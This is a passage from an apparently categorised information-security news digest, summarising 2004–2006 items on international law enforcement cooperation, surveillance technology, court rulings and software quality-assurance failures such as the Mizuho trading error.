A new Web site has been created by the U.K.'s National Crime Squad (NCS) in collaboration with the technology industry and with agencies in the U.S., Canada, and Australia, and Interpol, to provide information to help and support victims of abuse. Jim Gamble of the NCS explains: "Child abuse is one of the worst crimes to affect today's society and we in the UK must break away from thinking that we can tackle this issue within our own borders. Internet users access a worldwide service and we must tackle abuse from a worldwide perspective. That is why strategic partnerships with partners across the globe are so vital to the success of this initiative. Police across the world must work as one on this." (Federal Computer Week/USA Today 27 Jan 2005)

Category 1D1 Organizations, cooperation for law enforcement

2005-07-01 **music movie TV software piracy international US raids FBI warez**

EDUPAGE; http://news.bbc.co.uk/2/hi/technology/4640439.stm

U.S. LEADS INTERNATIONAL PIRACY RAIDS

Authorities in 11 countries, led by the FBI, conducted raids on the operators of Internet operations suspected of pirating movies, software, and computer games. The raids, which were conducted in the United States, Canada, Israel, France, Belgium, Britain, Denmark, the Netherlands, Germany, Portugal, and Australia, led to the arrests of seven individuals, the seizure of $50 million worth of pirated material, and the shutting down of eight servers used to distribute the copyrighted works. According to U.S. Attorney General Alberto Gonzales, the raids also identified more than 120 other individuals allegedly involved in Internet piracy. Targeted in the raids were 14 so-called "warez" groups, which are the source for possibly as much as 95 percent of copyrighted material that is available online. Because operators of warez groups traditionally employ extensive measures to mask their identities and hide what they are doing, the groups have proven especially difficult for authorities to penetrate. Those arrested could face fines and jail terms, including up to 10 years in prison for distributing content prior to its commercial release. BBC, 1 July 2005

1D2 Technology for law enforcement

Category 1D2 Technology for law enforcement

2004-12-04 **US intelligence search engine Convera homeland security data mining**

NewsScan; http://www.washingtonpost.com/wp-dyn/articles/A30161-2004Dec2.html

THE SEARCH SOFTWARE USED BY THE IN-CROWD

Analysts working for U.S. intelligence and other federal agencies looking for documents and data stored on computers inside their own agencies they use software made by the Convera Corp. in Virginia, which offers specialized services and offer such features as the ability to automatically notify intelligence analysts when a new document matching a search query is added to the agency's database, and to search for patterns within data, identifying relationships buried in mountains of separate documents. Helen Mitchell, head of enterprise search for the FDA, says: "Before, people couldn't find everything if things were misfiled or they didn't have the time or resources. With the Convera software, and the technology for searching documents and patterns, they can find documents even with misspellings." Convera plans to make its Internet search engine available to regular computer users for free sometime next year. (Washington Post 4 Dec 2004)

Category 1D2 Technology for law enforcement

2004-12-05 **cyber detectives DePaul University Chicago computer scientists pattern-recognition algorithm software crime detection neural network link CSSCP**

DHS IAIP Daily; http://www.newscientist.com/news/news.jsp?id=ns99996734

CYBER DETECTIVE LINKS UP CRIMES.

Computer scientists Tom Muscarello and Kamal Dahbur at DePaul University in Chicago have developed an artificial intelligence system that uses pattern-recognition software to link related crimes that may have taken place in widely separated areas whose police forces may rarely be in close contact. Called the Classification System for Serial Criminal Patterns (CSSCP), the system sifts through all the case records available to it, assigning numerical values to different aspects of each crime, such as the kind of offense, the perpetrator's sex, height and age, and the type of weapon or getaway vehicle used. From these figures it builds a crime description profile. A neural network program then uses this to seek out crimes with similar profiles. If it finds a possible link between two crimes, CSSCP compares when and where they took place to find out whether the same criminals would have had enough time to travel from one crime scene to the other. In the UK an online version of a manually searchable crime database called Crimelink was launched this week.

Category 1D2 Technology for law enforcement

2004-12-12 **data mining law enforcement research money laundering fraud financial crime**

NYT http://www.nytimes.com/2004/12/12/politics/12finance.html

DHS ICE STUDIES DATA MINING TOOL

According to Eric Lichtblau, writing for the New York Times in December 2004, DHS (Department of Homeland Security) reported that the ICE (Immigration and Customs Enforcement) is studying a British database and program for data mining in financial transactions. The database from World-Check tracks a variety of financial crimes based on open-source information including 140,000 public sources; it already has information about roughly "250,000 people and firms with suspected ties to terrorist financing, drug trafficking, money laundering and other financial crimes."

Category 1D2 *Technology for law enforcement*

2005-01-13 **FBI failure virtual case file information sharing homeland security quality assurance features SAIC debacle fiasco**

NewsScan; http://www.latimes.com/technology/la-na-fbi13jan13

SECURITY IV: NEW FBI SOFTWARE NOT USABLE

A new FBI computer system called Virtual Case File, designed to help agents share information to ward off terrorist attacks, may have to be discarded because it doesn't work as designed. The agency will be soliciting proposals for new software from outside contractors for new software. Sen. Judd Gregg (R-N.H.), chairman of the Senate appropriations subcommittee, calls the development "a stunning reversal of progress" and adds: "If the software has failed, that sets us back a long way. This has been a fits-and-starts exercise, and a very expensive one for a very long time. There are very serious questions about whether the FBI is able to keep up with the expanding responsibility and the amount of new dollars that are flowing into it. We have fully funded it at its requested levels." Science Applications, the company that developed the system, says it "successfully completed" delivery of the initial version of the Virtual Case File software last month. (Los Angeles Times 13 Jan 2005)

Category 1D2 *Technology for law enforcement*

2005-01-18 **FBI Carnivore eavesdrop**

NewsScan; http://apnews.excite.com/article/20050119/D87MS3CO0.html

FBI AXES CARNIVORE, EATS INVESTMENT

The FBI has abandoned its custom-built Internet surveillance technology, dubbed Carnivore, and is now using commercial software to eavesdrop on computer network traffic during investigations of suspected criminals, terrorists and spies. In addition, it's asking Internet service providers to conducting wiretaps on targeted customers, when necessary. Carnivore initially was developed because commercial tools available in 2000 were inadequate, but FBI spokesman Paul Bresson says the Bureau moved a while ago to using popular commercial wiretap software because it's less expensive and has improved in its ability to copy e-mails to and from a specific Internet account without affecting other subscribers. "We see the value in the commercially available software; we're using it more now and we're asking the Internet service providers that have the capabilities to collect data in compliance with court orders," says Bresson. The FBI didn't disclose how much it had spent on Carnivore, but outside experts estimate expenditures at somewhere between $6 million and $15 million. (AP 18 Jan 2005)

Category 1D2 *Technology for law enforcement*

2005-01-20 **Arabic language linguistics scanning OCR software terrorism antiterrorism information gathering University of Buffalo grant**

DHS IAIP Daily; http://www.usatoday.com/tech/products/software/2005−01−20 −ar abic−scans_x.htm

SOFTWARE WOULD SCAN ARABIC DOCUMENTS FOR INFORMATION

Computer scientists are at work on software to scan Arabic documents, even handwritten ones, for specific words or phrases, technology its developers say could aid in intelligence gathering. Researchers at the University of Buffalo have received $240,000 in funding from the federal Director of Central Intelligence Postdocotoral Research Fellowship Program. Optical character recognition (OCR) software trains the computer to interpret the images of an alphabet based on scanned images of characters or words recorded by humans who have examined the original images. Arabic presents challenges because characters may take different forms depending on where within a word they appear, and Arabic vowels are pronounced but often not written.

Category 1D2 *Technology for law enforcement*

2005-06-02 **DHS national defense terrorism anti-terrorism University of Buffalo browser technology concepts ideas information correlation**

EDUPAGE; http://news.com.com/2100-1012_3-5730176.html

UNIVERSITY RESEARCHERS DEVELOPING BROWSER TO FIGHT TERRORISM

Researchers at the University of Buffalo (UB) are developing browser technology that endeavors to identify hidden connections in vast collections of documents. Rather than simply looking for matches to specified query terms, which is what typical search engines do, the UB technology seeks to uncover connections between ideas. According to John McCarthy, professor emeritus of computer science at Stanford University, a tool that successfully links concepts could be an important breakthrough. A number of federal agencies, including the Federal Aviation Administration (FAA), are investing in the research, which they hope can be used to find the sorts of connections that will aid efforts to fight terrorism. The project has been used to search the report from the 9/11 Commission as well as public Web pages, looking for connections regarding the hijackers. The tool searches for concepts such as names, dates, and places and maps the connections it finds, potentially resulting in trails of evidence useful to investigators or other authorities. CNET, 2 June 2005

Category 1D2 *Technology for law enforcement*

2005-07-04 **Air Force ultrawideband Sandia National Laboratories UWB radio encryption network military ultrawideband spectrum**

DHS IAIP Daily; http://www.eetimes.com/news/latest/technology/showArticle.jhtml?articleID=165600118

U.S. AIR FORCE TAPS SECURE ULTRAWIDEBAND

Sandia National Laboratories has combined ultrawideband (UWB) radio signals with advanced encryption techniques to develop a secure sensor and communications network for the U.S. military. The ultrasecure UWB communication system promises to help the government protect its troops on the battlefield by detecting the position of enemies and by making it much harder for them eavesdrop or jam military communications. "By utilizing the immense spectrum of UWB to spread the energy of communications signals from sensors over a wide frequency spectrum, the signal power falls below the noise floor of normal receivers," said Sandia National Laboratories researcher Timothy Cooley. Also known as "impulse radio," ultrawideband radio transmissions smear a wide spectrum with short, 100-picosecond pulses that are below the noise floor of conventional radio receivers. Even if enemies were equipped with a special UWB receiver, they would be unlikely to know how to reassemble the disparate data packets of each impulse into a coherent whole. And even if they should manage to reassemble the packets, they would still have to crack the 256-bit AES encryption used by Sandia's special secure military communications version. The sensor and communications networks are being developed for the U.S. Air Force Electronic Systems Center.

Category 1D2 *Technology for law enforcement*

2005-07-10 **UK police pictures e-mail records hunt phones video networks'**

DHS IAIP Daily; http://www.theregister.co.uk/2005/07/10/london_bomb_

UK POLICE REQUEST PICTURES, E-MAIL, PHONE RECORDS IN BOMBER HUNT

London police have asked the public to turn in pictures from mobile phones and video pictures as they hunt the terrorists behind the bomb attacks on the UK capital Thursday, July 7. The call came as Britain's authorities sought to secure email and mobile phone records as they continue their hunt for the bombers. Much of the media networks' coverage of the bombings came from stills and video captured on camera phones and other mobile devices. London's Metropolitan Police on Sunday asked people who captured images on Thursday, both before and after the bombings, and either in or close to the areas where the bombings happened, to forward them to images@met.police.uk. "These images may contain crucial information which could help detectives in what is a painstaking and complex inquiry," said the head of the Met's Anti-Terrorist Branch, Deputy Assistant Commissioner Peter Clarke.

Category 1D2 Technology for law enforcement

2005-07-22 **UK Britain terrorist Website control database**

EDUPAGE; http://news.zdnet.com/2100-1009_22-5798787.html

BRITAIN TO TRACK, CONTROL TERRORIST WEB SITES

Following recent terrorist attacks on London's public transit system, the British government announced plans to tighten oversight on people who run Web sites inciting terrorism. In speaking to Parliament on July 20, Home Secretary Charles Clarke acknowledged that the government would have to "tread carefully" around free speech in instituting changes to the national security policies. Clarke said he intends to draw up a list of unacceptable behaviors, such as preaching, running Web sites, or writing articles intended to provoke terrorism. The Foreign and Commonwealth Office and intelligence agencies will be instructed to build a database of people who provoke terrorism. Immigration officers will have access to the database, and the government is planning changes to the law to make it easier to deport religious extremists whose behaviors meet the revised policies. ZDNet, 22 July 2005

Category 1D2 Technology for law enforcement

2005-11-30 **study wiretap telephone wiretapping interception evasion security flaw privacy government agencies FBI legal ramifications**

DHS IAIP Daily; http://www.nytimes.com/2005/11/30/national/30tap.html

SECURITY FLAW ALLOWS WIRETAPS TO BE EVADED, STUDY FINDS

The technology used for decades by law enforcement agents to wiretap telephones has a security flaw that allows the person being wiretapped to stop the recorder remotely, according to research by computer security experts who studied the system. It is also possible to falsify the numbers dialed, they said. Someone being wiretapped can easily employ these countermeasures with off-the-shelf equipment, said the lead researcher, Matt Blaze, an associate professor of computer and information science at the University of Pennsylvania. "This has implications not only for the accuracy of the intelligence that can be obtained from these taps, but also for the acceptability and weight of legal evidence derived from it," Blaze and his colleagues wrote in a paper that was published Wednesday, November 30, in Security & Privacy, a journal of the Institute of Electrical and Electronics Engineers. To defeat wiretapping systems, the target need only send the same "idle signal" that the tapping equipment sends to the recorder when the telephone is not in use. The target could continue to have a conversation while sending the forged signal. Despite this, the FBI says the vulnerability exists in only about 10 percent of state and federal wiretaps today. "Signaling Vulnerabilities in Wiretapping Systems" by Blaze, et al: http://www.crypto.com/papers/wiretapping/

1D3 Litigation, legal rulings, judgements affecting law enforcement

Category 1D3 *Litigation, legal rulings, judgements affecting law enforcement*

2005-05-28 **encryption software evidence trial court proceeding intentionality reaction response hysteria exaggeration excessive**

RISKS; 23 90
http://www.theregister.co.uk/2005/05/25/pgp_admissable_child_abuse_case/

BROUHAHA OVER ENCRYPTION AS EVIDENCE OF ILL-INTENT

An eruption of emotion resulted when a Minnesota judge ruled that the presence of encryption software on the computer of a man accused of child abuse (soliciting a minor for lewd photographs) was relevant to the prosecution's case. Although one can reasonably express skepticism about the wisdom of the court's ruling or question their understanding of the availability and acceptance of encryption software, some people responded with comically exaggerated emotion. One contributor to RISKS labeled his missive "Encryption Illegal in Minnesota" -- which was plainly nonsense. The summary from _The Register_ was as follows:

>The Minnesota State Court of Appeals has rejected an appeal from David Levie on charges of soliciting a nine-year-old girl to pose for naked pictures, ruling that the prosecution's introduction of an encryption program on his computer as evidence was admissible. During a search of his computer, police found the PGP (Pretty Good Privacy) encryption program. Levie's lawyers argued that forensic examination yielded no evidence of any encrypted files on his computer and so the presence of encryption software should not be used as evidence against Levie. One police officer testified that PGP may be included with every Apple computer on the market. The appeals court ruled that the presence of encryption software was relevant to the prosecution's case and refused to order a retrial, though the case will be sent back for re-sentencing. The case could establish a precedent in Minnesota of accepting the presence of encryption software as evidence of criminal intent.<

Category 1D3 *Litigation, legal rulings, judgements affecting law enforcement*

2005-10-22 **surveillance law enforcement universities academia communications Internet service providers ISPs cities municipalities counter-terrorism lawsuits**

RISKS; http://tinyurl.com/aumy4 24 08

UNIVERSITIES RESIST US GOVERNMENT DEMANDS FOR SURVEILLANCE HOOKS

The federal government, vastly extending the reach of an 11-year-old law, is requiring hundreds of universities, online communications companies and cities to overhaul their Internet computer networks to make it easier for law enforcement authorities to monitor e-mail and other online communications. The action, which the government says is intended to help catch terrorists and other criminals, has unleashed protests and the threat of lawsuits from universities, which argue that it will cost them at least $7 billion while doing little to apprehend lawbreakers. Because the government would have to win court orders before undertaking surveillance, the universities are not raising civil liberties issues.

The order, issued by the Federal Communications Commission in August and first published in the Federal Register last week, extends the provisions of a 1994 wiretap law not only to universities, but also to libraries, airports providing wireless service and commercial Internet access providers. It also applies to municipalities that provide Internet access to residents, be they rural towns or cities like Philadelphia and San Francisco, which have plans to build their own Net access networks. So far, however, universities have been most vocal in their opposition.

The 1994 law, the Communications Assistance for Law Enforcement Act, requires telephone carriers to engineer their switching systems at their own cost so that federal agents can obtain easy surveillance access.

[Abstract by Peter G. Neumann]

Category 1D3 Litigation, legal rulings, judgements affecting law enforcement

2006-02-06 **wiretapping racketeering federal grand jury private investigator indictment**

DHS IAIP Daily; http://www.securityfocus.com/brief/129

THREE CHARGED WITH WIRETAPPING, RACKETEERING.

A federal grand jury indicted private investigator Anthony Pellicano and two associates for the alleged illegal use of law enforcement data and wiretapping using a custom software program, prosecutors announced on Monday, February 6. The 110-count indictment charges Pellicano and his associates with creating a criminal enterprise in which the private detective allegedly paid tens of thousands of dollars to police officers to provide him with confidential law enforcement information on numerous individuals. In addition, the indictment charges Pellicano and the two associates -- a software developer and a telecommunications engineer -- with creating a program known as Telesleuth in 1995 and using it as early as 1997 to wiretap such people as Herbalife co-founder Mark Hughes, actor Sylvester Stallone and journalist Anita Busch. Monday's indictment was originally issued under seal on Wednesday, February 1. Among the other charges are 31 counts of wire fraud and five counts of identity theft. Four other defendants were charged wiretapping and wire fraud.

1D4 Government funding for law enforcement

Category 1D4 *Government funding for law enforcement*

2006-01-08 **computer crime New Jersey law enforcement effort FBI child pornography incident response outreach fraud identity theft**

DHS IAIP Daily;
http://www.nj.com/news/gloucester/local/index.ssf?/base/news −
2/1136625344302990.xml&coll=8

NEW JERSEY LAW ENFORCEMENT UNITS COMBINE TO FIGHT COMPUTER CRIME

Three state law enforcement units in New Jersey will combine to fight computer crime. The new Computer Crime Task Force, formed by New Jersey state Attorney General Peter C. Harvey, will include personnel from the Division of Criminal Justice's (DCJ) Computer Analysis and Technology Unit (CATU), the New Jersey State Police Digital Technology Investigations Unit, and the state police Cyber Crimes Unit. The new task force will include three investigative units staffed with state troopers, DCJ investigators, and FBI special agents and will focus on computer hacking and viruses, Internet fraud, and the creation and distribution of child pornography. The Incident Response Unit investigations will focus on computers, computer networks, telecommunication devices, and other devices used in the commission of crimes. It will also provide cyber crime awareness outreach services to the public and train law enforcement regarding network intrusion crimes. The Cyber Crime Unit will investigate the use of computers in fraud and identity theft. A training committee will coordinate community outreach programs. The task force will aim to increase the reporting of cyber crime and computer intrusions. A Computer Crimes Task Force hotline is available at 1-888-648-6007, in addition to an online incident reporting form at http://www.cctf.nj.gov.

21.1 General QA failures

Category 21.1 General QA failures

2005-02-01 **quality assurance QA bug glitch matching algorithm medical residents hospitals students mismatch**

RISKS; http://blogborygmi.blogspot.com/2005/01/selection-dysfunction.html 23 71

MEDICAL STUDENTS MISMATCHED TO HOSPITALS

In a serious problem for medical students, a program used to match student preferences with hospital preferences failed for urology residencies in January 2005. As a result of the error in the computer program, the match had to be re-run a few days after the first (wrong) run, causing disruption for residents who had already began to make their plans to move to distant cities.

RISKS correspondent Daniel Kahn Gillmor commented, "So, why wasn't a human reviewing the results of the match for reasonableness before publication? Why aren't the algorithms used in the match process freely available? What safeguards are there on the data-entry step (since GIGO continues to apply)? Why isn't there an audit process in place?"

Category 21.1 General QA failures

2005-02-02 **hardware failure CD scratch damage drive shatter break design control**

RISKS 23 71

HIGH-SPEED CD-DRIVES SHATTER DAMAGED DISKS

Henk Langeveld reported on a disturbing interaction of damaged CDs and new high-speed CD-drives:

I've had the nasty experience to have lost four CD's to newer high-speed CD and DVD-drives within a year.

The current state of technology will run CDs and DVDs at high speeds, and the centrifugal force of the drive increases the risk of any scratch on the media to result in one broken CD, and one ruined drive.

Peter G. Neumann added:
[Drew Dean commented to me on this: ``I believe programs such as Exact Audio Copy (EAC) do slow down the drive, and most CD/DVD burning software can write at slower speeds, but I'm not aware of any interface to tell an OS to always slow down reading." PGN]

In follow-up postings in RISKS 23.72, Eben King and Jonathan King and others provided helpful suggestions and links for utilities that can slow down fast CD-ROM drives.

Category 21.1 General QA failures

2005-02-26 **identification authentication I&A Web form business registration fraud**

RISKS 23 77

CALIFORNIA LETS ANYONE FILL IN CORPORATE INFORMATION "CORRECTIONS"

Geoff Kuenning discovered that California corporation regulations require business owners to file registration information -- which can be done online. Unfortunately, there is no authentication of the identity proposed by a user, so anyone can damage the registration of any California-registered company for a $25 fee. Mr Kuenning reports that such companies happen to include Microsoft.

Category 21.1 *General QA failures*

2005-03-10 **software quality assurance QS update error denial of service DoS underground railway subway tube train data corruption flaw bug**

RISKS 23 79

OYSTER CARD FAULT CAUSES PROBLEMS ON LONDON UNDERGROUND

"Automatic updates cause journey renewal problems"
by Daniel Thomas, *Computing*, 10 Mar 2005

Londoners were faced with travel problems this morning after an IT error meant hundreds of commuters could not renew journeys on their Oyster card.

The error, which affected the whole of the London Underground (LU) and Docklands Light Railway (DLR), was caused when an overnight electronic updating process went wrong.

Transport for London (TfL) and TranSys - the consortium that operates the Oyster card scheme - automatically updates the system each night to add new records and block stolen and canceled cards.

But a glitch in the system early this morning means commuters are unable to use machines at Underground or DLR station this morning to add new journeys onto the smart cards.

'Every morning information goes out about stopped cards and it was an error in the data that caused the problem,' said a spokeswoman for TranSys.

Passengers that have already paid for their journey or using prepay can still use the system as normal.

TfL and TranSys identified the error at 4am this morning and starting issuing a fix to the problem by 8.30am.

'We hope everything to be up and running again by the end of the morning,' said the TranSys spokeswoman. 'We are now looking into what actually caused the error and ways of ensuring this doesn't happen again.'

Category 21.1 General QA failures

2005-03-28 **denial of service human error clock time data entry bank customers automated teller online services**

RISKS; http://tinyurl.com/djrmz 23 82

HUMAN ERROR SHUTS DOWN BARCLAY'S AUTOMATED TELLER SYSTEM

Michael "Streaky" Bacon [no, really] reported on a service interruption for customers of the British Barclay's Bank. The following reorganizes parts of his report to RISKs.

On 27 Mar 2005, the UK put its clocks forward one hour. This apparently caused problems for Barclays Bank - one of the UK's leading banks - with ATMs and other online services unavailable to customers in the South of the country. The text of the Daily Telegraph's report on the failure is reproduced below.

> Summer Time slip-up forces Barclays' cashpoints to close
> *The Daily Telegraph*, 28 March 2005
>
> Millions of Barclays customers were unable to withdraw money yesterday after the bank's cashpoint network crashed amid claims that a duty manager had accidentally put the clocks back instead of forward. More than 1,400 auto-tellers in the south of England and some on-line services were out of order. Barclays customers were unable to withdraw money from any bank, while cardholders with other banks were unable to use Barclays cash machines.
>
> The error came to light at 4am on 27 Mar 2005 when technicians noticed that customers' personal details were not being forwarded to the computers that control much of the bank's infrastructure. The problem was eventually resolved at 5pm. Executives trying to determine the cause of the problem admitted that a mistake during the switch to British Summer Time could have been to blame. Customer services staff were less ambiguous. One admitted: "A manager put the clocks back instead of forward and that has caused enormous problems."
>
> The bank's British network uses two servers based in Gloucestershire: one for operations north of the Wash and the other to control operations in the South. The Gloucester South server is understood to have been set one hour back instead of forward. The bank conceded that an error over the time change was to blame but denied that an individual manager made the mistake. Alistair Smith, a spokesman for the bank, said: "It seems that this problem may somehow be related to the time change, although I am told it was not to do with someone making a mistake while manually changing the time."

Mr Bacon then analyzes the situation as follows:

I would be surprised if the bank relied upon the actions of a human to change the time on its servers. For example, if the servers are not time synchronised through an atomic clock receiver or from an NTP Time Server, it begs serious questions regarding the time-standing of transactions.

Bi-annual time changes have been a part of computing at least since the first commercial systems began processing. Surely 54 years is not too short a time to have worked out the risks and put in place procedures to deal with them.

If it was indeed a human error, perhaps the heading on the relevant page should read: "Spring forward, fall back".

Another puzzling factor is that it apparently took 11 hours (4 am to 5 pm) to determine and correct the problem. In my experience, the first thing to be blamed is the last thing that was changed.

Category 21.1 General QA failures

2005-06-25 **software quality assurance QA bug flaw error usability**

RISKS; http://tinyurl.com/bdrm3 23 92

JCAHO SOFTWARE BUG CONFUSES HOSPITALS

Joint Commission Resources, a unit of the Joint Commission on Accreditation of Healthcare Organizations that enforces quality standards for hospitals found a flaw in software that it had sold to more than 1,000 hospitals that helps qualify for accreditation and payments from Medicare. The problem was a missing identification marker that alerts a hospital to the 250 standards among the 1,300 that the commission and its auditors regard as essential.

[Abstract by Peter G. Neumann]

Category 21.1 General QA failures

2005-07-14 **software quality assurance QA design flaw bounds checking impossible values data integrity nonsense sanity**

RISKS; http://www.cnn.com/2005/US/07/14/hot.summer.ap/index.html 23 94

TORRENTIAL METER ERROR

The utility department in Mascoutah (Illinois) sent Rose Mary Cook a bill for the use of 10 million gallons of water in a month, totalling $29,787 for the water and $43,581 for the ensuing sewer usage. The cause was not surprisingly the result of a broken meter.

[Abstract by Peter G. Neumann, who ask, "Why doesn't meter reading use sanity checking?"]

[MK adds that teachers of systems design and programming should drill their students in the principle that all inputs should be checked for reasonableness. For example, 10M gallons in, say, 30 days implies a continuous flow of almost 4 gallons _per second_ throughout the month. A well written program would have flagged the data error before sending the monstrous bill.]

Category 21.1 General QA failures

2005-09-06 **software quality assurance QA design software engineering project management maintainability catastrophe mess disaster insurance calculations refunds errors**

RISKS; http://tinyurl.com/8qhuz (in German) 24 03

GERMAN GOVERNMENT SOFTWARE OVERPAYS PREMIUMS BY $25M PER MONTH

In the never-ending tale of woe surrounding the German social services and unemployment software A2LL (produced by T-Systems, the software arm of the former German state Telecom company), the Spiegel has just reported that the software miscalculates the health insurance premiums that the government pays every month - to the tune of 25 million Euros too much, every month. The bill is footed by the taxpayers, of course, since T-Systems wisely put a cap in to contract for reparations - a maximum of 5 million Euros is all T-Systems needs to pay.

….

According to *Der Spiegel*, an expert commission is already discussing what to do with the software, which was taken into service just in January of 2005. It has been declared to be in such a state of non-maintainability and non-adaptability ("nicht mehr wartungs- und entwicklungsfähig") that they are speaking about an entirely new software - to be written, of course, by T-Systems, who brought on this mess in the first place. They just are trying to decide whether to start a new central "solution" or a decentralized one for each unemployment office, as there are many local rules and insurance providers that seem to be causing difficulty.

The problem is with the insurance premiums for the unemployed, which was lowered retrospectively to save money for the government in March. A health insurance umbrella organization, VdAK, says it has difficulty in determining how much to pay back, if anything, because they do not know for exactly which people and months the wrong premium was calculated. A previous large error reported completely wrong data on who exactly was insured when to the insurance companies. The VdAK has said that when the German Social Services BA (Bundesagentur für Arbeit) gets their software straightened out, they will be glad - for a fee, of course - to see if they can repay the premiums payed in error.

[Summary by Deborah Weber-Wulff]

Category 21.1 General QA failures

2005-10-17 **software quality assurance QA testing failure errors data corruption fraud incompetence**

RISKS; http://tinyurl.com/create.php; 24 08

DOESN'T *ANYONE* CHECK THEIR RESULTS ANY MORE?

MassHighway admitted that the state had found 19 legends on the new signs with significant errors in mileage. That's 12 percent of the 164 new signs in the $1.05 million contract.

According to the contractor, some of the distances were calculated using Microsoft's Streets & Trips software. According to Microsoft, the software without a GPS hookup costs $39.95. This contractor was paid $130,000 by the state.

Apparently the contractor had tried to use Mapquest, but found it unreliable.

One sign on Interstate 93 north, near Exit 45 in Andover, reported that Manchester, N.H. Was 42 miles away, although the actual distance is just a bit more than 28 miles. Another sign on Route 128/95 in Needham reported that Wellesley is 7 miles away. The actual distance is slightly less than 3 miles. A sign on Route 3 north in Braintree listed the distance to I-93 as 5 miles when the distance by odometer was 3 miles.

[RISKS frequent contributor Monty Solomon used quotations from a couple of articles in the summary above.]

Category 21.1 General QA failures

2005-10-20 **smart card reader failure accusation fraud court case reliability**

RISKS; http://news.bbc.co.uk/1/hi/england/london/4361286.stm 24 08

SYSTEM FAILURE = COURT APPEARANCE

Nick Rothwell reports on an alarming consequence of a system failure:

>A woman is being summoned to court, and faces a 1000-pound fine if found guilty, over non-payment of a 1.20-pound London bus fare.

Most of London's transport system is moving over to the Oyster card system, where quasi-smartcards are touched against readers at tube station barriers or doors to buses. A card can contain season tickets, top-up funds for pay-as-you-go travel, or both.

According to the television news coverage today, Jo Cahill believed that she had paid on entering the bus, but the reader did not register her card in order to deduct the fare from the top-up funds. An inspector has treated her as a fare-dodger, even though she explained the situation and offered to pay.

This seems to set the precedent that users are required to confirm that the reader has indeed registered their card, even though the visual and audible signals are not always clear. Transport for London claims that its Oyster card readers rarely fail, although they do not specify whether or not users will always be taken to court when they do fail. (I frequently get onto buses where the reader has a post-it note saying "reader broken" stuck to it.)<

Category 21.1 General QA failures

2005-11-03 **denial of service DoS outage bug flaw glitch backup failure business continuity**

RISKS; http://www.vnunet.com/vnunet/news/2145336/software-bug-crashes-japanese 24 09

SOFTWARE BUG CRASHES JAPANESE STOCK EXCHANGE

"The Tokyo Stock Exchange suffered its worst ever outage yesterday when trading was suspended for four and a half hours due to a software problem. A spokesman said that the glitch appeared to be connected to the decision to expand the trading system's capacity last month in response to high trading volumes. The modified system had worked well, but crashed when the automatic monthly clean-up of the software was implemented. A back-up system also failed because it uses the same software."

[Excerpt contributed by Mark M. Bennison]

Category 21.1 *General QA failures*

2005-11-04 **software quality assurance QA testing costs electronic toll system**

RISKS; http://tinyurl.com/8sq6v 24 09

ELECTRONIC TOLL GLITCH CAUSES DOUBLE-BILLING

Fast Lane double-billed 8,498 accounts this week, an error Massachusetts Turnpike Authority officials attributed yesterday to the electronic toll company running the system. The computer glitch drew money Tuesday out of credit card and checking accounts belonging to Fast Lane customers, then mistakenly docked the same customers Wednesday. The total wrongly withdrawn could amount to tens of thousands of dollars, said the Turnpike spokeswoman, Mariellen Burns.

[Contributed by Monty Solomon]

Category 21.1 *General QA failures*

2005-11-30 **software glitch quality assurance QA issue design flaw LAPD police law enforcement computer upgrade**

RISKS 24 12

LAPD SOFTWARE GLITCH

A software glitch has interrupted the sweeping overhaul of city emergency communications, which could delay the upgrade of police car computer systems by up to two years, officials said Monday. News about the glitch in the city's $15 million contract with Northrop Grumman Information Technology drew a strong reaction from the City Council's Public Safety Committee.

[Abstract by Peter G. Neumann]

Category 21.1 *General QA failures*

2005-12-01 **Japan Tokyo Stock Exchange human data-input error multimillion dollar loss Mizuho Securities Co. software quality assurance design flaw**

RISKS; http://business.timesonline.co.uk/article/0,,13133-1948579,00.html 24 12

HUMAN ERROR RESULTS IN $MULTIMILLION LOSS

Japanese financial-services firm Mizuho Securities Co. Said Thursday it erroneously placed sell orders because of a simple human data-input mistake that apparently ignored an error warning. This cost Mizuho at least 27 billion yen ($225 million). The company mistakenly sold 610,000 shares of J-Com Co. At 1 yen (less than 1 cent) per share, instead of the request to sell just one share at 610,000 yen ($5,080). The mishap sent the benchmark Nikkei 225 index down 1.95 percent on the Tokyo Stock Exchange. Mizuho Financial Group dropped 3.4 percent to 890,000 yen ($7,416.67).

[Abstract by Peter G. Neumann]

RISKS contributor Tomas Uribe follows-up:

One would think that "money-critical" systems would have more stringent safeguards against this type of thing. Also, someone must have made $225 million as well--who might have been the lucky ones who bought the discounted shares?

Jeremy Epstein dug through the RISKS archive to find a similar mishap at the Tokyo Stock Exchange (RISKS-21.81):

Before the Tokyo market opened Friday, a UBS Warburg trader entered what was intended to be an order to sell 16 Dentsu shares at 610,000 yen ($4,924.53) each or above. Instead, the trader keyed in an order to sell 610,000 Dentsu shares at 16 yen apiece.

Peter Neumann remarks, "I knew the new case sounded familiar! Perhaps the 610,000 is a default number for an erroneous field? That's quite a coincidence."

In another follow-up, "RsH" writes:

As per the information in the Reuters item http://asia.news.yahoo.com/051211/3/2c7vk.html the actual loss may be lower or more than the $225 million as the amount of the premium that will need to be paid to by back shares is still to be determined. The sale order was for about 41 times the actual number of shares actually outstanding, incidentally.

It turns out that the Tokyo Stock Exchange's own software was responsible for part of the problem, as it prevented the cancellation of the order from being processed!

RsH echoes Jeremy Epstein's comment: Also note that this is NOT the first time this has happened at the TSE, and they have yet to fix their system!

The Times, a UK newspaper had the following story about how this episode at the TSE concluded:

The president of the Tokyo Stock Exchange resigned yesterday to take responsibility for the "fat-finger" trading error that sparked a day of mayhem on Tokyo markets earlier this month. Takuo Tsurushima resigned along with Sadao Yoshino, the bourse's managing director, and Yasuo Tobiyama, its head of computer systems. The incident has left considerable turmoil in its wake: Mizuho Securities lost 40 billion yen (Â£195 million) on the botched trade and two Japanese day traders made Y2.5 billion in a few minutes.

Western investment houses who made money from the error have been publicly criticized by the Japanese Government and agreed to pay the profits they made into an investors' protection fund.

Losses from the trade were sufficient to force Mizuho to cancel all end-of-year bonuses from the securities arm. The trader, believed to be a 24-year-old woman relatively inexperienced on the dealing floor, had wanted to sell one share in J Com, a new telecoms firm, for Y600,000. She mistyped the order and sold 600,000 shares at Y1 each.

Category 21.1 General QA failures

2005-12-16 **compiler trust trusted computing base Trojan horse insertion code software engineering quality assurance design flaws subversion**

RISKS; http://www.acsa-admin.org/2005/abstracts/47.html 24 13

COUNTERING TRUSTING TRUST THROUGH DIVERSE DOUBLE-COMPILING

David A. Wheeler published a paper about trusting compilers.

